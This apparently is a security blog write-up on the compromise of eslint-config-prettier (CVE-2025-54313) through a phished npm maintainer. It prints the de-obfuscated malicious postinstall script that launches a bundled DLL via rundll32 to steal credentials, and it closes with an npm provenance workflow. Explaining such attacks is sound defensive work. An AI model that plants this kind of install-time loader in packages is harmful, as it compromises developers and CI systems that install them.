CVE-2025-54313: When Prettier Got Ugly

Let's be honest: nobody actually audits their devDependencies. You type npm install, you see the progress bar spin, and you go get a coffee. We trust that eslint-config-prettier—a tool designed solely to stop your coworkers from arguing about semicolons—is safe. It’s the perfect hiding spot. It’s boring, it’s ubiquitous, and it runs with full user privileges the moment you install it.

On July 18, 2025, that trust was weaponized. Several versions of this incredibly popular package (along with friends like synckit and @pkgr/core) were updated not with bug fixes, but with a malicious payload. The maintainer, JounQin, hadn't gone rogue; they were just human. They fell for a classic phishing scheme involving a typosquatted domain (npnjs.com), handing over their publishing tokens to an attacker who wasted no time turning a code formatter into a credential stealer.

This isn't a complex buffer overflow or a heap grooming masterpiece. It is a reminder that the strongest lock on the front door (your firewall) doesn't matter if you invite the burglar in for tea (running npm install without --ignore-scripts).

The root cause here is technically CWE-506 (Embedded Malicious Code), but realistically, it's a failure of identity management in the npm ecosystem. The attacker didn't break the encryption; they just asked for the keys. By phishing the maintainer, they gained the ability to publish valid, signed packages that the npm registry happily accepted and distributed to millions of CI/CD pipelines.

The technical flaw lies in the execution model of package managers. By default, npm and yarn execute preinstall, install, and postinstall scripts defined in package.json. These scripts are arbitrary shell commands. In this case, the attacker injected a postinstall hook that ran a file named install.js.

This script was simple, obfuscated JavaScript designed to fly under the radar. It didn't try to exploit a vulnerability in Node.js; it simply used the features Node.js provides to execute a binary. It's not a bug in Node; it's a feature that attackers love.

Let's look at what the attacker actually shipped. Hidden inside the node_modules directory was a file named install.js. It wasn't doing anything related to linting. Instead, it was performing a platform check.

Here is the de-obfuscated logic of the malicious script:

const os = require('os');
const path = require('path');
const { spawn } = require('child_process');
 
// Target only Windows systems
if (os.platform() === 'win32') {
  const dllPath = path.join(__dirname, './node-gyp.dll');
  
  // The 'main' export is the entry point for the malware
  spawn('rundll32', [dllPath + ',main'], {
    detached: true,
    stdio: 'ignore'
  });
}

See that? rundll32. The attacker bundled a malicious DLL, masquerading as node-gyp.dll (a legitimate-sounding name), and executed it using Windows' built-in dynamic link library runner. This bypasses basic executable whitelisting because rundll32.exe is a trusted Microsoft binary. The malware itself was designed to scrape environment variables—likely hunting for AWS_ACCESS_KEY_ID, NPM_TOKEN, and SLACK_TOKEN—and exfiltrate them. If you were running this on a developer machine or a CI server on Windows, your secrets were gone before the linting even started.

The exploitation chain is painfully simple, which is what makes supply chain attacks so effective. Here is how it played out in the wild:

1. Distribution: The attacker publishes eslint-config-prettier@10.1.6. The version bump triggers automated dependency bots (like Renovate or Dependabot) to open PRs in thousands of repositories.
2. Execution: A developer pulls the branch and runs npm install, or a CI pipeline starts the build process.
3. Trigger: The postinstall script fires immediately after the package downloads. No import is required. You don't even have to run the linter.
4. Payload: The script checks if it's running on Windows. If yes, rundll32 spins up the malicious DLL in a detached process.
5. Persistence: The malware likely establishes a scheduled task or registry run key to survive reboots, though its primary goal appears to be immediate credential harvesting.

> [!NOTE] > The use of rundll32 is a classic 'Living off the Land' (LoLBin) technique. It blends in with normal system activity, making detection difficult for standard antivirus solutions until signatures are updated.

The immediate fix was a scramble. The maintainer regained access, revoked the compromised tokens, and published clean versions (starting at 10.1.8). The npm security team yanked the malicious versions from the registry, but "yanked" just means you can't install them anymore—it doesn't remove them from machines that already have them.

Long term, the maintainer implemented npm provenance. This is a game-changer. It links the package publication process directly to a specific GitHub Action workflow run using OIDC.

The Hardened Workflow:

# .github/workflows/release.yml
permissions:
  id-token: write # Required for provenance
  contents: write
 
jobs:
  release:
    steps:
      - name: Publish
        env:
          NPM_CONFIG_PROVENANCE: true
        run: npm publish

With this in place, a package cannot be published from a developer's laptop or a phished terminal. It must come from the verified CI environment. If you see an npm package without a provenance badge in 2026, you should probably be suspicious.